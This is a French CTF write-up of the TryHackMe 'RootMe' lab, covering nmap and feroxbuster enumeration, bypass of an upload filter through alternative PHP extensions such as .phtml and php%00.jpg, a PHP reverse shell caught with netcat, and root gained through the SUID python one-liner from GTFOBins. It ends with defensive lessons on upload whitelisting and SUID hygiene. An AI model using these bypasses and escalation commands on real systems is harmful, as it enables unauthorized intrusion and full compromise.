CTF - RootMe
Introduction
La room RootMe proposée sur TryHackMe s’inscrit dans une démarche classique de test d’intrusion. L’objectif est d’aboutir à la compromission complète du système, en démontrant la chaîne d’attaque depuis la phase d’énumération jusqu’à l’élévation de privilèges.
Phase d’énumération
Scan Nmap :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ nmap -p- -sC -sV -Pn 10.82.134.107 -oN scan-nmap.txt
# Nmap 7.98 scan initiated Sun Feb 22 12:27:33 2026 as: /usr/lib/nmap/nmap -p- -sC -sV -Pn -on 10.82.134.107 nmap-scan.txt
Failed to resolve "nmap-scan.txt".
Nmap scan report for 10.82.134.107
Host is up (0.047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 17:d4:4a:7d:89:d9:6a:e8:dd:de:9a:89:df:ca:5d:93 (RSA)
| 256 5e:cf:49:6c:e3:67:94:32:73:1b:ce:a4:bc:54:5f:89 (ECDSA)
|_ 256 1a:ea:3c:80:c9:6c:2e:75:8b:64:80:ce:67:3b:5c:4f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 22 12:28:20 2026 -- 1 IP address (1 host up) scanned in 46.94 seconds
-p- : scanne l’ensemble des 65535 ports
-sC : exécute les scripts par défaut
-sV : détecte les versions des services
-Pn : ignore le ping initial (utile si l’hôte bloque les ICMP)
Il y a 2 ports ouverts :
22 (SSH)
Un service SSH est actif. Il pourrait être exploitable si des identifiants valides sont obtenus.80 (HTTP)
Un serveur web Apache est accessible. Il mérite une analyse approfondie afin d’identifier d’éventuelles vulnérabilités ou informations sensibles.
Je poursuis donc par l’analyse du service HTTP sur le port 80, les applications web constituant fréquemment un point d’entrée lors d’un test d’intrusion.
Web exploitation
En accédant au site web, je découvre une page vitrine affichant le message “Can you root me”, laissant supposer un challenge orienté exploitation. J’analyse alors le code source HTML (CTRL + Shift + I) ainsi que les différents onglets des outils de développement afin de repérer un éventuel indice ou une faiblesse exploitable.
Cependant, cette première inspection ne révèle aucun élément intéressant. Suite à cette analyse visuelle infructueuse, j’utilise Feroxbuster afin d’effectuer une recherche de répertoires et fichiers cachés sur le serveur web :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ feroxbuster -u http://10.82.134.107
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.82.134.107/
🚩 In-Scope Url │ 10.82.134.107
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 100l 161w 1611c http://10.82.134.107/css/panel.css
301 GET 9l 28w 312c http://10.82.134.107/uploads => http://10.82.134.107/uploads/
301 GET 9l 28w 310c http://10.82.134.107/panel => http://10.82.134.107/panel/
301 GET 9l 28w 307c http://10.82.134.107/js => http://10.82.134.107/js/
200 GET 11l 22w 263c http://10.82.134.107/js/maquina_de_escrever.js
301 GET 9l 28w 308c http://10.82.134.107/css => http://10.82.134.107/css/
200 GET 105l 188w 1697c http://10.82.134.107/css/home.css
200 GET 25l 44w 616c http://10.82.134.107/
[####################] - 81s 60012/60012 0s found:8 errors:0
[####################] - 79s 30000/30000 380/s http://10.82.134.107/
[####################] - 5s 30000/30000 5848/s http://10.82.134.107/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 30000/30000 256410/s http://10.82.134.107/uploads/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 76s 30000/30000 392/s http://10.82.134.107/panel/
[####################] - 0s 30000/30000 135135/s http://10.82.134.107/js/ => Directory listing (add --scan-dir-listings to scan)
L’outil révèle plusieurs éléments intéressants :
/panel/uploads/css/js
Les répertoires /panel et /uploads attirent particulièrement l’attention. En analysant la page /panel, on constate la présence d’une fonctionnalité d’upload de fichiers. Le répertoire /uploads, quant à lui, permet d’accéder aux fichiers téléversés, ce qui suggère que ceux-ci sont directement accessibles depuis le navigateur.
Ce comportement indique une potentielle vulnérabilité d’upload de fichiers, notamment la possibilité de téléverser un fichier PHP malveillant et de l’exécuter sur le serveur.
Reverse Shell
Définition d'un revershell :
le reverse shell est un outil qui permet de prendre le contrôle d’une machine cible en utilisant une connexion sortante. “c’est pas nous qui nous connectons directement à la cible, mais la cible qui se connecte à nous”, car le firewall bloque toute connexion entrante mais permet les connexions sortante.
Tentatives d’injection :
Le serveur utilise PHP comme langage de script côté serveur, ce qui est confirmé par l’analyse réalisée avec Nmap ainsi que par les résultats de l’énumération. Sur la page du panel, il est possible de soumettre des fichiers. L’objectif est donc d’y téléverser un reverse shell PHP afin d’obtenir un accès interactif à la machine.
Problème lié aux extensions :
Dans un premier temps, j’ai tenté d’uploader directement un webshell avec une extension classique telle que .php ou .php3. Cependant ces tentatives ont échoué, ce qui laisse supposer la présence d’un mécanisme de filtrage côté serveur vérifiant les extensions autorisées. L’absence d’information sur les types de fichiers acceptés complique l’injection du script PHP malveillant.
Solution :
Je savais que pour pouvoir injecter un webshell de manière efficace, il fallait trouver l’extension qui pourrait passer à travers les filtres du serveur. Une méthode rapide pour le faire consiste à essayer différentes extensions de fichier courantes sur les serveurs web PHP.
J’ai donc testé plusieurs extensions alternatives afin de contourner le filtrage mis en place :
- php5
- phps
- php.jpg
- phtml
- php%00.jpg
php%00.jpg est une étrange extension !
Le%00correspond à l’encodage URL du null byte (\x00), autrefois utilisé pour tronquer le nom du fichier côté serveur et contourner certains filtres d’extensions (ex.php%00.jpgsera interprété commephp).
Parmi ces tentatives, une seule a été acceptée par le serveur : l’extension phtml.
Cette réussite indique que le serveur interprète toujours les fichiers .phtml comme du code PHP exécutable, tout en ne les incluant pas dans la liste des extensions bloquées par le mécanisme de filtrage.
Après l’upload du fichier malveillant en .phtml, j’ai accédé au répertoire /uploads afin de déclencher son exécution et ainsi obtenir un accès à la machine cible.
Avant d’exécuter le script, je me suis placé en écoute sur le port 4444, préalablement configuré dans mon reverse shell. Une fois le fichier appelé depuis le navigateur, la connexion entrante s’est établie et j’ai pu obtenir un shell sur la machine :
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.160.41] from (UNKNOWN) [10.82.131.85] 36622
Linux ip-10-82-131-85 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
12:47:46 up 20 min, 0 users, load average: 0.00, 0.00, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ export TERM=xterm
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
...
Après avoir obtenu un accès à la machine, j’ai commencé par explorer les répertoires susceptibles de contenir des informations sensibles, notamment :
/home/: répertoires utilisateurs, fichiers .ssh, éventuels flags ou mots de passe/etc/: fichiers sensibles comme passwd, crontab, ou configurations système/tmp/: fichiers temporaires potentiellement exploitables/opt/: applications ou services installés manuellement
Cette phase d’énumération manuelle ne m’ayant rien révélé d’exploitable, j’ai opté pour une approche plus directe en recherchant le fichier user.txt, qui contient généralement le flag utilisateur. Pour cela, j’ai utilisé la commande find afin de localiser précisément ce fichier sur le système :
1
2
3
4
5
bash-5.0$ find / -type f -name user.txt 2> /dev/null
/var/www/user.txt
bash-5.0$ cat /var/www/user.txt
THM{y0xxxxxxxxxxxxxx}
find /: Lance la recherche à partir de la racine, donc dans l’ensemble des répertoires-type: Limite la recherche aux fichiers uniquement (exclut les dossiers).-name user.txt: Recherche un fichier dont le nom correspond exactement àuser.txt2> /dev/null: Redirige les messages d’erreur vers/dev/nullafin de ne pas polluer l’affichage avec des erreurs de permission.
FLAG : THM{y0xxxxxxxxxxxxxx}
Privilege Escalation
Afin d’obtenir les privilèges root, l’énoncé du CTF oriente vers la recherche de fichiers disposant du bit SUID :
“Search for files with SUID permission, which file is weird?”
Définition SUID :
C’est un droit spécial sous Linux/Unix qui s’applique aux fichiers exécutables (des programmes).
Normalement, quand tu lances un programme :
- il s’exécute avec tes propres droits
- Avec le SUID activé :
- le programme s’exécute avec les droits du propriétaire du fichier,
- pas avec les tiens
La présence de Python en SUID constitue une mauvaise configuration grave,
car Python permet l’exécution arbitraire de code.
Comment reconnaitre un fichier SUID :
1
2
3
$ ls -l
-rwsr-xr-x 1 root root 54256 passwd
...
- Le
sà la place duxindique le SUID.
J’ai donc exécuté la commande suivante afin d’identifier les programmes disposant du bit SUID, et pouvant s’exécuter avec les privilèges root :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bash-5.0$ find / -type f -perm -4000 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python2.7 <-- Something interesting here !
/usr/bin/at
/usr/bin/chfn
...
-perm -4000: Recherche un fichier ayant un bit SUID activé.4: Le 4 corresponds au bit SUID000: Les 0 concernent les permissions classiques-: Signifie que le bit 4000 doit être présent.
Cette commande permet de lister tous les fichiers exécutables possédant le SUID, donc susceptibles de s’exécuter avec les privilèges de leur propriétaire (souvent root). Parmi les résultats, j’ai remarqué que Python faisait partie des programmes concernés, ce qui est potentiellement exploitable. J’ai alors effectué des recherches afin de déterminer s’il était possible d’obtenir un shell root via ce binaire. Pour cela, j’ai consulté la base de données GTFOBins, qui référence différentes méthodes d’exploitation de binaires légitimes.
Grâce à la commande proposée par GTFOBins pour Python en SUID, j’ai pu obtenir un shell avec les privilèges root et ainsi finaliser l’élévation de privilèges.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-5.0$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
# ls
bin dev initrd.img lib64 mnt root snap sys var
boot etc initrd.img.old lost+found opt run srv tmp vmlinuz
cdrom home lib media proc sbin swap.img usr vmlinuz.old
# cd root
# ls
root.txt snap
# cat root.txt
THM{prxxxxxxxxxxxxxxxxxx}
- Explication commande :
Cette commande lance un shell/bin/shvia Python en utilisant os.execl avec
l’option-p, ce qui permet de conserver les privilèges SUID (root) et d’obtenir un shell avec les droits élevés.
FLAG : THM{prxxxxxxxxxxxxxxxxxx}
Conclusion
Ce challenge met en évidence :
- L’importance de la validation sécurisée des uploads
- par exemple, on aurait pu réaliser un filtrage basé sur une “whitelist” complète plutôt que sur une “blacklist” incomplète
- Les dangers des binaires SUID mal configurés
- on aurait également pu supprimer le bit SUID des binaires non essentiels, et appliquer le principe de moindre privilège
- L’importance d’une méthodologie rigoureuse en test d’intrusion
Une simple faille d’upload combinée à une mauvaise configuration SUID a permis la compromission complète du système.



